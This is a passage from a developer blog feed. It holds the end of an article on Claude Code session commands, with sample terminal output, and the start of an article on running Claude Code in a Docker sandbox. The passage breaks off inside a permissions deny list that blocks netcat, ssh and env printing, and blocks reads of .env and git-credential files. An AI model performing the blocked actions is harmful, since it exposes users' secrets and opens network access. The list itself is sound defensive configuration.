&lt;/h2&gt;

&lt;p&gt;When using Claude Code with an Anthropic subscription plan, this command shows how much of the rolling 5-hour and weekly usage limits is depleted.&lt;/p&gt;

&lt;p&gt;This command was removed in &lt;code&gt;v2.1.91&lt;/code&gt;, but for completeness, here is an example of its output.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/usage

Plan: Claude Max 5x &lt;span class="o"&gt;(&lt;/span&gt;subscription&lt;span class="o"&gt;)&lt;/span&gt;

Current 5-hour window
  Used:       18,400 tokens &lt;span class="o"&gt;(&lt;/span&gt;23%&lt;span class="o"&gt;)&lt;/span&gt;
  Remaining:  61,600 tokens &lt;span class="o"&gt;(&lt;/span&gt;77%&lt;span class="o"&gt;)&lt;/span&gt;
  Resets &lt;span class="k"&gt;in&lt;/span&gt;:  2h 12m

Weekly usage
  All models:   38% used &lt;span class="o"&gt;(&lt;/span&gt;resets Thu 04:00&lt;span class="o"&gt;)&lt;/span&gt;
  Opus only:     4% used
  Sonnet only:   2% used

Rate limit status: OK &lt;span class="o"&gt;(&lt;/span&gt;within all limits&lt;span class="o"&gt;)&lt;/span&gt;
Extra usage:       Disabled

When you use a custom model definition, these models are mapped according to the environment variables &lt;span class="s2"&gt;"ANTHROPIC_DEFAULT_HAIKU_MODEL"&lt;/span&gt;,  &lt;span class="s2"&gt;"ANTHROPIC_DEFAULT_SONNET_MODEL"&lt;/span&gt;, and &lt;span class="s2"&gt;"ANTHROPIC_DEFAULT_OPUS_MODEL"&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/status&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Gain a quick overview about the CLI version, selected model, and other account information.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;─────────────────────────────────────────────────────────────────
   Status   Config   Usage   Stats

Version: 2.1.91
  Session name: universal-skill-converter-refinement
  Session ID: 9bd58391-93ff-4c59-8d64-31d652281c14
  cwd: /opt/claude/universal-skills-converter/universal-skill-converter
  Auth token: ANTHROPIC_AUTH_TOKEN
  Anthropic base URL: https://api.z.ai/api/anthropic

  Model: claude-sonnet-4.6 &lt;span class="o"&gt;(&lt;/span&gt;claude-sonnet-4.6&lt;span class="o"&gt;)&lt;/span&gt;
  Setting sources: User settings, Enterprise managed settings &lt;span class="o"&gt;(&lt;/span&gt;file&lt;span class="o"&gt;)&lt;/span&gt;

  System Diagnostics
   ⚠ No write permissions &lt;span class="k"&gt;for &lt;/span&gt;auto-updates &lt;span class="o"&gt;(&lt;/span&gt;requires &lt;span class="nb"&gt;sudo&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="sb"&gt;``&lt;/span&gt;

Show essential CLI, model, and account information
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And the &lt;code&gt;config&lt;/code&gt; tab.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;─────────────────────────────────────────────────────────────────
   Status   Config   Usage   Stats

  ╭─────────────────────────────────────────────────────────────────╮
  │ ⌕ Search settings…                                                                                                              │ 
  ╰─────────────────────────────────────────────────────────────────╯

    Auto-compact                              &lt;span class="nb"&gt;true
    &lt;/span&gt;Show tips                                 &lt;span class="nb"&gt;true
    &lt;/span&gt;Reduce motion                             &lt;span class="nb"&gt;false
    &lt;/span&gt;Thinking mode                             &lt;span class="nb"&gt;true
    &lt;/span&gt;Fast mode &lt;span class="o"&gt;(&lt;/span&gt;Opus 4.6 only&lt;span class="o"&gt;)&lt;/span&gt;                 &lt;span class="nb"&gt;false
    &lt;/span&gt;Rewind code &lt;span class="o"&gt;(&lt;/span&gt;checkpoints&lt;span class="o"&gt;)&lt;/span&gt;                 &lt;span class="nb"&gt;true
    &lt;/span&gt;Terminal progress bar                     &lt;span class="nb"&gt;true
    &lt;/span&gt;Show turn duration                        &lt;span class="nb"&gt;true
    &lt;/span&gt;Default permission mode                   Default
    Respect .gitignore &lt;span class="k"&gt;in &lt;/span&gt;file picker         &lt;span class="nb"&gt;true
    &lt;/span&gt;Always copy full response &lt;span class="o"&gt;(&lt;/span&gt;skip /copy     &lt;span class="nb"&gt;false
  &lt;/span&gt;picker&lt;span class="o"&gt;)&lt;/span&gt;
    Auto-update channel                &lt;span class="o"&gt;(&lt;/span&gt;CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAF
                                       FIC &lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;

    Theme                                     Dark mode
    Notifications                             Auto
    Language                                  Default &lt;span class="o"&gt;(&lt;/span&gt;English&lt;span class="o"&gt;)&lt;/span&gt;
    Editor mode                               normal
    Show PR status footer                     &lt;span class="nb"&gt;true
    &lt;/span&gt;Model                                     sonnet[1m]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/stats&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Every interaction with Claude is logged inside the &lt;code&gt;./claude&lt;/code&gt; directory, with a path-prefix of the current working directory, and session files in JSONL format. These files contain timestamps, and can be used to create a visual representation of usage patterns.&lt;/p&gt;

&lt;p&gt;Here are my current stats:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;─────────────────────────────────────────────────────────────────
      Overview   Models

        Apr May Jun Jul Aug Sep Oct Nov Dec Jan Feb Mar Apr
        ···············································█▓·▒▒
    Mon ··················································▒
        ···················································
    Wed ················································░··
        ················································▒··
    Fri ················································█▓▓
        ··············································██░▓░

        Less ░ ▒ ▓ █ More

    All &lt;span class="nb"&gt;time&lt;/span&gt; · Last 7 days · Last 30 days

    Favorite model:claude-haiku-4.5     Total tokens: 4.7m

    Sessions: 52                    Longest session: 20h 28m 13s
    Active days: 15/30              Longest streak: 4 days
    Most active day: Mar 8          Current streak: 3 days

    Your longest session is ~6x longer than watching Titanic

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And the &lt;code&gt;models&lt;/code&gt; tab:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; ─────────────────────────────────────────────────────────────────
      Overview   Models


    Tokens per Day
      861k ┼──╮
      753k ┤  │
      646k ┤  ╰──╮
      538k ┤     │
      430k ┤     ╰──╮              ╭──╮     ╭──╮
      323k ┤     ╭──╮              │  │  ╭──╯  │
      215k ┤  ╭──╯  │              │  ╰──╯     │
      108k ┼──╯     │─────╮  ╭─────╮        ╭──│  ╭──
         0 ┼────────╰────────╯─────╰─────────────────
            Mar 7       Mar 18      Mar 28      Apr 4
    ●claude-haiku-4.5 · ●claude-sonnet-4.6 · ●claude-opus-4.6

    All &lt;span class="nb"&gt;time&lt;/span&gt; · Last 7 days · Last 30 days

    ●claude-haiku-4.5 &lt;span class="o"&gt;(&lt;/span&gt;51.4%&lt;span class="o"&gt;)&lt;/span&gt;                 ●claude-opus-4.6 &lt;span class="o"&gt;(&lt;/span&gt;19.3%&lt;span class="o"&gt;)&lt;/span&gt;
      In: 2.1m · Out: 350.9k                In: 720.4k · Out: 187.2k
    ●claude-sonnet-4.6 &lt;span class="o"&gt;(&lt;/span&gt;29.3%&lt;span class="o"&gt;)&lt;/span&gt;
      In: 1.3m · Out: 47.9k
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/config&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;The many settings of Claude Code can be scattered along configuration files. This command allows a top-level overview about all defined settings for a particular session context. It also allows you to edit these settings, which will be persisted in the local &lt;code&gt;.claude&lt;/code&gt; folder, the scope which overrides all other settings except managed ones.&lt;/p&gt;

&lt;p&gt;As seen in other dialogues too, this one renders vertical tabs, starting with the "Config" section.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;─────────────────────────────────────────────────────────────────
   Status   Config   Usage   Stats


  ╭─────────────────────────────────────────────────────────────────╮
  │ ⌕ Search settings…                                                                                                              │ 
  ╰─────────────────────────────────────────────────────────────────╯

    Auto-compact                              &lt;span class="nb"&gt;true
    &lt;/span&gt;Show tips                                 &lt;span class="nb"&gt;true
    &lt;/span&gt;Reduce motion                             &lt;span class="nb"&gt;false
    &lt;/span&gt;Thinking mode                             &lt;span class="nb"&gt;true
    &lt;/span&gt;Rewind code &lt;span class="o"&gt;(&lt;/span&gt;checkpoints&lt;span class="o"&gt;)&lt;/span&gt;                 &lt;span class="nb"&gt;true
    &lt;/span&gt;Verbose output                            &lt;span class="nb"&gt;false
    &lt;/span&gt;Terminal progress bar                     &lt;span class="nb"&gt;true
    &lt;/span&gt;Show turn duration                        &lt;span class="nb"&gt;true
    &lt;/span&gt;Default permission mode                   Default
    Respect .gitignore &lt;span class="k"&gt;in &lt;/span&gt;file picker         &lt;span class="nb"&gt;true
    &lt;/span&gt;Always copy full response &lt;span class="o"&gt;(&lt;/span&gt;skip /copy     &lt;span class="nb"&gt;false
  &lt;/span&gt;picker&lt;span class="o"&gt;)&lt;/span&gt;
    Auto-update channel                       latest
    Theme                                     Dark mode
    Notifications                             Auto
    Output style                              default
    Language                                  Default &lt;span class="o"&gt;(&lt;/span&gt;English&lt;span class="o"&gt;)&lt;/span&gt;
    Editor mode                               normal
    Show PR status footer                     &lt;span class="nb"&gt;true
    &lt;/span&gt;Model                                     claude-haiku4.5
    Auto-connect to IDE &lt;span class="o"&gt;(&lt;/span&gt;external terminal&lt;span class="o"&gt;)&lt;/span&gt;   &lt;span class="nb"&gt;false&lt;/span&gt;
  ↓ 1 more below

  Type to filter · Enter/↓ to &lt;span class="k"&gt;select&lt;/span&gt; · ↑ to tabs · Esc to clear
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The remaining two tabs are just aliases for the &lt;code&gt;/usage&lt;/code&gt; and &lt;code&gt;/stats&lt;/code&gt; commands.&lt;/p&gt;

&lt;h3&gt;
  
  
  /update-config
&lt;/h3&gt;

&lt;p&gt;This command triggers an internal skill in which you can instruct a cinfig change.&lt;/p&gt;

&lt;p&gt;Here is an example output when modifying the thinking mode.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/update-config Configure the thinking mode.

∴ Thinking…

  The user wants to configure thinking mode. According to the update-config skill, thinking mode is configured using alwaysThinkingEnabled &lt;span class="o"&gt;(&lt;/span&gt;a simple
  setting that can use the Config tool&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;

  Let me clarify what they want to configure since &lt;span class="s2"&gt;"thinking mode"&lt;/span&gt; could mean:

- Enable/disable thinking &lt;span class="o"&gt;(&lt;/span&gt;alwaysThinkingEnabled: &lt;span class="nb"&gt;true &lt;/span&gt;or &lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;

─────────────────────────────────────────────────────────────────
 ☐ Thinking

Would you like to &lt;span class="nb"&gt;enable &lt;/span&gt;or disable thinking mode?

❯ 1. Enabled
     Always show thinking process &lt;span class="o"&gt;(&lt;/span&gt;default &lt;span class="k"&gt;for &lt;/span&gt;Haiku&lt;span class="o"&gt;)&lt;/span&gt;
  2. Disabled
     Disable extended thinking
  3. Type something.
─────────────────────────────────────────────────────────────────
  4. Chat about this

Enter to &lt;span class="k"&gt;select&lt;/span&gt; · ↑/↓ to navigate · Esc to cancel
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/export&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;The complete conversation log is serialized into JSONL files. User prompts, and the LLMs answers, are rendered in plain text in the terminal. And this representation can be exported into the clipboard or a file.&lt;/p&gt;

&lt;p&gt;Here is an example export during working on my skill-converter project.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;╭─── Claude Code v2.1.91 ──────────────────────────────────────────────────────╮
│                                           │ Tips &lt;span class="k"&gt;for &lt;/span&gt;getting started         │
│               Welcome back!               │ Run /init to create a CLAUDE.md… │
│                                           │ ──────────────────────────────── │
│                  ▐▛███▜▌                  │ Recent activity                  │
│                 ▝▜█████▛▘                 │ No recent activity               │
│                   ▘▘ ▝▝                   │                                  │
│                                           │                                  │
│     claude-haiku-4.5 · API Usage Billing  │                                  │
│   /opt/claude/universal-skill-converter   │                                  │
╰──────────────────────────────────────────────────────────────────────────────╯

❯ /rename refactor-to-python
  ⎿  Session renamed to: refactor-to-python

❯ Refactor this app to python. Write the plan file &lt;span class="s2"&gt;"refactor-to-python.md"&lt;/span&gt;

● I&lt;span class="s1"&gt;'ll help you refactor this app to Python. Let me start by exploring the
  codebase to understand its structure and functionality.

● Explore(Explore main codebase structure)
  ⎿  Done (42 tool uses · 45.7k tokens · 5m 21s)
  (ctrl+o to expand)

  Searched for 3 patterns (ctrl+o to expand)

● Now I understand the codebase completely. Let me create a plan file for
  refactoring to Python.

● Updated plan
  ⎿  /plan to preview

● I'&lt;/span&gt;ve created a comprehensive refactoring plan. Let me confirm a few key design
   choices with you:

● User answered Claude&lt;span class="s1"&gt;'s questions:
  ⎿  · Which Python CLI framework should I use? → Click
     · Should I keep the same package structure and CLI command names? → Yes,
     identical
     · What test coverage target should I aim for? → &amp;gt;70%
     · Should I use async/await for file operations? → Sync (blocking)

● Updated plan
  ⎿  /plan to preview
...

❯ /export
  ⎿  Conversation copied to clipboard
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/insights&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;All Claude Code interactions are stored in the &lt;code&gt;~./claude&lt;/code&gt; directory, which includes projects, sessions, and all prompts. This command checks all this data to provide a thorough analysis of how you use Claude in the form of an HTML document. It includes a summary of the projects you worked on, your style of interacting with Claude, statistics about session time and duration, and several helpful prompt additions to be put into the &lt;code&gt;CLAUDE.md&lt;/code&gt; file. Finally, usage patterns are condensed into skill and hook suggestions.&lt;/p&gt;

&lt;p&gt;Here are screenshots of my interactions:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh3h9aa4t7kxjlmx0m9n0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh3h9aa4t7kxjlmx0m9n0.png" width="800" height="646"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flaosc8i9sgtqo0qadaf5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flaosc8i9sgtqo0qadaf5.png" width="800" height="502"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;When the Claude Code CLI starts, a new session is created. Sessions are the core context of any interactions, and were covered extensively in this blog article. You gained a general overview about sessions, including the directory layout, JSONL files containing a trace of user, assistant, and tools calls, and the different types of entries in these files. These structures form the backbone commands about session configuration and session reflection. For session configuration, you learned about a) adding additional working directories, b) how to rename a session, c) selecting the LLM to be used in the current session, d) controlling the amount of tokens spent on "thinking", d) how to perform login and e) logout of an Anthropic subscription. For session reflection, you saw how to a) estimate costs, b) track token consumption, c) see all applicable configuration items, d) see statistics about your Claude Code sessions, e) get an editable text-overview about all currently active settings, f) instruct a config change, g) export user prompts and LLM answers, and h) gain valuable insights and improvements to using Claude Code, including additional sections to be inserted into CLAUDE.md, as well as skills and hooks for frequent changes.&lt;/p&gt;

</description>
      <category>claude</category>
    </item>
    <item>
      <title>Claude Code: Installation &amp; Setup of the Agentic Coding Tool</title>
      <dc:creator>Sebastian</dc:creator>
      <pubDate>Mon, 08 Jun 2026 05:01:30 +0000</pubDate>
      <link>https://dev.to/admantium/claude-code-installation-setup-of-the-agentic-coding-tool-37gb</link>
      <guid>https://dev.to/admantium/claude-code-installation-setup-of-the-agentic-coding-tool-37gb</guid>
      <description>&lt;p&gt;In 2024, the evolution of Large Language Models and their utilization in software applications and webpage interfaces started. The GPT-4 model from OpenAI showed unparalleled capabilities for text generation and information assembly. In 2026, two trends merged: The continued evolution of model complexity and capabilities, as well as sophisticated frameworks and libraries that greatly enhanced agentic capabilities of LLM invocation.&lt;/p&gt;

&lt;p&gt;Using LLMs as agents once was effectively a continued human-in-the-loop invocation where function calls needed to be monitored and corrected. But now, truly autonomous agents evolved. They apply function calling and function execution precisely, analyze errors and apply solutions when needed. They can fully interact with files and sockets on a computer, making autonomous code generation and even system operations a reality.&lt;/p&gt;

&lt;p&gt;On the forefront of agentic tools is the CLI tool &lt;a href="https://claude.com/product/claude-code" rel="noopener noreferrer"&gt;Claude Code&lt;/a&gt;. It promises and delivers excellent code generation capabilities, supporting developers of all maturity levels with increased productivity.&lt;/p&gt;

&lt;p&gt;This article starts a new blog series about agentic tools, and starts with exploring the Claude Code CLI systematically. The particular focus for this article is the installation and initial configuration of Claude Code. Learn how to use a Docker container as a safe sandbox with fine-grained permissions and access only to files that you will work on.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The technical context of this article is &lt;code&gt;claude_code v2.1.91&lt;/code&gt;, published on 2026-04-02. Examples and most CLI commands should work with newer versions too&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Every character, number, and symbol in this article was typed manually - with the addition of verbose copies from log messages and screenshots. While I'm fascinated by the capabilities of artificial intelligence tools and applications, crafting blog articles remains my personal skill.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This article originally appeared at my blog &lt;a href="https://admantium.com/blog/claude01_introduction/" rel="noopener noreferrer"&gt;admantium.com&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Docker Container Setup
&lt;/h2&gt;

&lt;p&gt;Claude Code is an agentic tool with full support for creating, editing, and deleting any files on a computer or laptop. It can be installed natively via an install script, which essentially copies a platform-specific binary and required libraries, or as an NPM packages and its requirements.&lt;/p&gt;

&lt;p&gt;To prevent accidental file modifications on your main computer, I recommend to setup a Docker image and start a Docker container that mounts your specific directories.&lt;/p&gt;

&lt;h3&gt;
  
  
  Directory Structure
&lt;/h3&gt;

&lt;p&gt;Setup the following directory and file structure:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
├── Dockerfile
├── build
│   ├── managed-settings.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Dockerfile
&lt;/h3&gt;

&lt;p&gt;The Docker image has these features:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Based on the official NodeJS LTS image&lt;/li&gt;
&lt;li&gt;Installs &lt;code&gt;claude-code&lt;/code&gt; as an NPM package&lt;/li&gt;
&lt;li&gt;Copies default security permissions&lt;/li&gt;
&lt;li&gt;Runs as a non-root user that can become root with a dedicated password&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here is the file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="s"&gt; node:24-trixie&lt;/span&gt;

&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="s"&gt; /opt/claude&lt;/span&gt;

&lt;span class="k"&gt;RUN &lt;/span&gt;apt-get update &lt;span class="se"&gt;\
&lt;/span&gt;  &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; apt-get &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;--no-install-recommends&lt;/span&gt; &lt;span class="nt"&gt;--yes&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;    bubblewrap &lt;span class="se"&gt;\
&lt;/span&gt;    nano &lt;span class="se"&gt;\
&lt;/span&gt;    socat &lt;span class="se"&gt;\
&lt;/span&gt;    &lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;    vim &lt;span class="se"&gt;\
&lt;/span&gt;  &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-rf&lt;/span&gt; /var/lib/apt/lists/&lt;span class="k"&gt;*&lt;/span&gt;

&lt;span class="k"&gt;RUN &lt;/span&gt;npm &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-g&lt;/span&gt; @anthropic-ai/claude-code@2.1.91 &lt;span class="se"&gt;\
&lt;/span&gt;  &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; /etc/claude-code

&lt;span class="k"&gt;ARG&lt;/span&gt;&lt;span class="s"&gt; SUDO_PASSWORD&lt;/span&gt;
&lt;span class="k"&gt;RUN &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"node:&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;SUDO_PASSWORD&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | chpasswd
&lt;span class="k"&gt;RUN &lt;/span&gt;usermod &lt;span class="nt"&gt;-aG&lt;/span&gt; &lt;span class="nb"&gt;sudo &lt;/span&gt;node

&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; build/ /etc/claude-code/&lt;/span&gt;

&lt;span class="k"&gt;ENV&lt;/span&gt;&lt;span class="s"&gt; PATH="/home/node/.local/bin:${PATH}"&lt;/span&gt;
&lt;span class="k"&gt;USER&lt;/span&gt;&lt;span class="s"&gt; node&lt;/span&gt;
&lt;span class="k"&gt;CMD&lt;/span&gt;&lt;span class="s"&gt; ["sleep", "infinity"]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Use this Dockerfile as a staging point. If you are developing a Python, Go, or Rust project, add the required libraries and base tools to this file.&lt;/p&gt;

&lt;h3&gt;
  
  
  Permissions
&lt;/h3&gt;

&lt;p&gt;When Claude Code starts, a permission dialog for the current folder is opened. By confirming this, read access to all files in this folder is provided. From there on, all tool invocations, from bash commands to binaries, need to be approved too. Certain commands can accidently expose files that contains secrets, run commands that print environment variables, or access network and Docker sockets.&lt;/p&gt;

&lt;p&gt;To prevent this access, a permission file can be used. This file should be placed at an OS specific directory so that it provides global rules for all Claude Code sessions. In a Linux environment, the permission file should be placed at the location &lt;code&gt;/etc/claude-code/managed-settings.json&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Paste the following content to prevent accidental exposure of common secrets, and reduce model invocation calls for telemetry.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"$schema"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://json.schemastore.org/claude-code-settings.json"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"allow_remote_sessions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"attribution"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"commit"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"pr"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"env"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"1"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"permissions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"deny"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Bash(env*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Bash(netstat*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Bash(printenv*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Bash(ssh*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Bash(ss*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Bash(nc*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Bash(ncat*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Bash(netcat*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Read(**/.env*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Read(**/.git-credentials*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Read(**/.gitconfig*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Grep(**/.env*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Grep(**/.git-credentials*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Grep(**/.gitconfig*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Read(**/.bashrc*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
